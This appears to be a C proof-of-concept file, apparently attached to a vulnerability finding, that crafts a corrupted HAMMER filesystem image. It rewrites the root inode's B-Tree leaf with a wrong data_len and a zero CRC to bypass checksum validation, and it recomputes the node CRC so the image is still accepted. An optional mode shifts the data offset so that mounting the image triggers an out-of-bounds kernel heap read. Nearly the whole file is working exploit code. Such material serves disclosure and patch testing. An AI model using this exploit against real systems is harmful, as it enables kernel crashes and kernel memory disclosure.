DF-0771 / corrupt.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 | /* * DF-0771 โ crafted-image corruptor. * * Walks a HAMMER filesystem image, finds the root inode's B-Tree leaf record * (obj_id=HAMMER_OBJID_ROOT=1, rec_type=HAMMER_RECTYPE_INODE=1), and rewrites * its data_len to a wrong value (1) and data_crc to 0. This is exactly the * on-disk state the finding describes: a crafted image whose INODE leaf has * data_len != sizeof(struct hammer_inode_data) and data_crc == 0, which * bypasses hammer_crc_test_leaf() (hammer_crc.h:294: data_crc==0 matches * hammer_crc_get_leaf()==0 for a wrong-sized INODE record), and then * hammer_get_inode() does the unconditional 128-byte struct copy at * hammer_inode.c:525 -> heap OOB read when data_offset's xoff is large. * * After corrupting the leaf we must recompute the B-Tree node CRC * (hammer_crc_get_btree, hammer_crc.h:225) so the kernel still accepts the * node. We use the real iscsi_crc32() from sys/libkern/icrc32.c. * * Usage: ./corrupt <image> (operates on the raw block device or image file) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stddef.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> typedef uint32_t hammer_crc_t; typedef uint64_t hammer_off_t; typedef uint64_t hammer_tid_t; typedef char hammer_uuid_t[16]; #define HAMMER_FSBUF_VOLUME 0xC8414D4D5552HAMMER /* placeholder, set below */ /* real signature */ #undef HAMMER_FSBUF_VOLUME #define HAMMER_FSBUF_VOLUME 0x83d10fa4bc37b086ULL /* unused here */ #define HAMMER_RECTYPE_INODE 0x0001 #define HAMMER_OBJID_ROOT 1 #define HAMMER_BTREE_TYPE_LEAF ((uint8_t)'L') #define HAMMER_BTREE_TYPE_RECORD ((uint8_t)'R') #define HAMMER_BTREE_LEAF_ELMS 63 #define HAMMER_BUFSIZE 16384 #define HAMMER_BUFMASK (HAMMER_BUFSIZE - 1) #define HAMMER_OFF_ZONE_MASK 0xF000000000000000ULL #define HAMMER_OFF_SHORT_MASK 0x000FFFFFFFFFFFFFULL /* ---- struct hammer_base_elm (hammer_btree.h:98) ---- */ typedef struct { int64_t obj_id; int64_t key; hammer_tid_t create_tid; hammer_tid_t delete_tid; uint16_t rec_type; uint8_t obj_type; uint8_t btype; uint32_t localization; } hammer_base_elm_t; /* ---- struct hammer_btree_leaf_elm (hammer_btree.h:170) ---- */ typedef struct { hammer_base_elm_t base; uint32_t created_ts; uint32_t deleted_ts; hammer_off_t data_offset; int32_t data_len; hammer_crc_t data_crc; } leaf_elm_t; typedef struct { hammer_base_elm_t base; uint32_t created_ts; uint32_t deleted_ts; hammer_off_t subtree_offset; int32_t reserved01; int32_t reserved02; } int_elm_t; typedef union { hammer_base_elm_t base; leaf_elm_t leaf; int_elm_t internal; } btree_elm_t; /* ---- struct hammer_node_ondisk (hammer_btree.h:230) ---- */ typedef struct { hammer_crc_t crc; /* MUST BE FIRST */ uint32_t reserved01; hammer_off_t parent; int32_t count; uint8_t type; uint8_t reserved02; uint16_t reserved03; hammer_off_t reserved04; hammer_off_t reserved05; hammer_off_t reserved06; hammer_off_t reserved07; hammer_tid_t mirror_tid; btree_elm_t elms[HAMMER_BTREE_LEAF_ELMS]; } node_ondisk_t; #define HAMMER_BTREE_CRCSIZE (sizeof(node_ondisk_t) - sizeof(hammer_crc_t)) /* ---- struct hammer_volume_ondisk (hammer_disk.h:738) (subset) ---- */ typedef struct { uint64_t vol_signature; int64_t vol_bot_beg; int64_t vol_mem_beg; int64_t vol_buf_beg; int64_t vol_buf_end; int64_t vol_reserved01; hammer_uuid_t vol_fsid; hammer_uuid_t vol_fstype; char vol_label[64]; int32_t vol_no; int32_t vol_count; uint32_t vol_version; hammer_crc_t vol_crc; uint32_t vol_flags; uint32_t vol_rootvol; uint32_t vol_reserved[8]; int64_t vol0_stat_bigblocks; int64_t vol0_stat_freebigblocks; int64_t vol0_reserved01; int64_t vol0_stat_inodes; int64_t vol0_reserved02; hammer_off_t vol0_btree_root; /* ...rest unused here... */ } volume_ondisk_t; /* include the real iscsi_crc32 from sys/libkern/icrc32.c */ #include "icrc32_kern.c" static hammer_crc_t crc_get_btree(uint32_t vol_version, node_ondisk_t *node) { /* hammer_crc.h:225: crc over (node->crc + 1 .. end) */ return (vol_version >= 7) ? iscsi_crc32((const char *)node + sizeof(hammer_crc_t), HAMMER_BTREE_CRCSIZE) : 0; /* v6 uses crc32; we only target v7 images here */ } int main(int argc, char **argv) { int want_oob = 0; if (argc == 3 && strcmp(argv[2], "oob") == 0) want_oob = 1; else if (argc != 2) { fprintf(stderr, "usage: %s <image> [oob]\n", argv[0]); return 2; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 2; } /* 1. read volume header (sector 0) โ read a full buffer-aligned chunk */ volume_ondisk_t vol; { unsigned char vbuf[4096]; ssize_t n = pread(fd, vbuf, sizeof(vbuf), 0); if (n < (ssize_t)sizeof(vol)) { fprintf(stderr, "pread vol: short read (%zd)\n", n); return 2; } memcpy(&vol, vbuf, sizeof(vol)); } printf("vol_version = %u\n", vol.vol_version); printf("vol_buf_beg = %lld\n", (long long)vol.vol_buf_beg); printf("vol0_btree_root (zone-8) = 0x%016llx\n", (unsigned long long)vol.vol0_btree_root); hammer_off_t btree_root = vol.vol0_btree_root; /* zone-8 -> zone-2 -> physical: phys = vol_buf_beg + (btree_root & OFF_SHORT_MASK) */ int64_t phys = vol.vol_buf_beg + (int64_t)(btree_root & HAMMER_OFF_SHORT_MASK); printf("btree_root phys offset = %lld\n", (long long)phys); /* 2. read the btree root node (4 KiB) โ read full sector-aligned chunk */ node_ondisk_t node; { unsigned char nbuf[4096]; if (pread(fd, nbuf, sizeof(nbuf), phys) != (ssize_t)sizeof(nbuf)) { perror("pread node"); return 2; } memcpy(&node, nbuf, sizeof(node)); } printf("node type='%c' count=%d stored_crc=0x%08x recomputed_crc=0x%08x\n", node.type, node.count, node.crc, crc_get_btree(vol.vol_version, &node)); if (node.type != HAMMER_BTREE_TYPE_LEAF) { fprintf(stderr, "root node is not LEAF (type=%c); btree has multiple levels -- " "this simple corruptor only handles a single-level root. Aborting.\n", node.type); return 3; } /* 3. find the root inode leaf (obj_id=1, rec_type=INODE) */ int found = -1; for (int i = 0; i < node.count; i++) { leaf_elm_t *l = &node.elms[i].leaf; if (l->base.obj_id == HAMMER_OBJID_ROOT && l->base.rec_type == HAMMER_RECTYPE_INODE && l->base.btype == HAMMER_BTREE_TYPE_RECORD && l->base.delete_tid == 0) { found = i; printf("FOUND root inode at elm[%d]: data_offset=0x%016llx data_len=%d data_crc=0x%08x\n", i, (unsigned long long)l->data_offset, l->data_len, l->data_crc); printf(" data_offset xoff (within 16KiB buffer) = %u\n", (uint32_t)(l->data_offset & HAMMER_BUFMASK)); break; } } if (found < 0) { fprintf(stderr, "root inode leaf NOT found in btree root node\n"); return 4; } /* 4. corrupt: data_len=1 (wrong), data_crc=0 (bypasses hammer_crc_test_leaf) */ leaf_elm_t *l = &node.elms[found].leaf; l->data_len = 1; l->data_crc = 0; if (want_oob) { /* Bump data_offset's within-buffer xoff to 16280 (0x3F88) so the 128-byte struct copy at hammer_inode.c:525 reads past the 16 KiB HAMMER data buffer into adjacent kernel heap. The buffer base (16 KiB aligned) is unchanged, so hammer_bread_ext still maps the same valid on-disk buffer; only xoff changes. */ hammer_off_t base = l->data_offset & ~(hammer_off_t)HAMMER_BUFMASK; hammer_off_t newx = 0x3F88; /* 16280: only 104 bytes remain in buffer */ l->data_offset = base | newx; printf("OOB mode: data_offset xoff -> %llu (struct copy will read %lld bytes past buffer end)\n", (unsigned long long)newx, (long long)(newx + 128 - HAMMER_BUFSIZE)); } /* 5. recompute node CRC */ node.crc = crc_get_btree(vol.vol_version, &node); printf("CORRUPTED: data_len=1 data_crc=0; new node crc=0x%08x\n", node.crc); /* 6. write node back โ write full sector-aligned chunk */ { unsigned char nbuf[4096]; memcpy(nbuf, &node, sizeof(node)); if (pwrite(fd, nbuf, sizeof(nbuf), phys) != (ssize_t)sizeof(nbuf)) { perror("pwrite node"); return 5; } } fsync(fd); close(fd); printf("OK: image corrupted. Mount it to trigger hammer_inode.c:525 OOB read.\n"); return 0; } |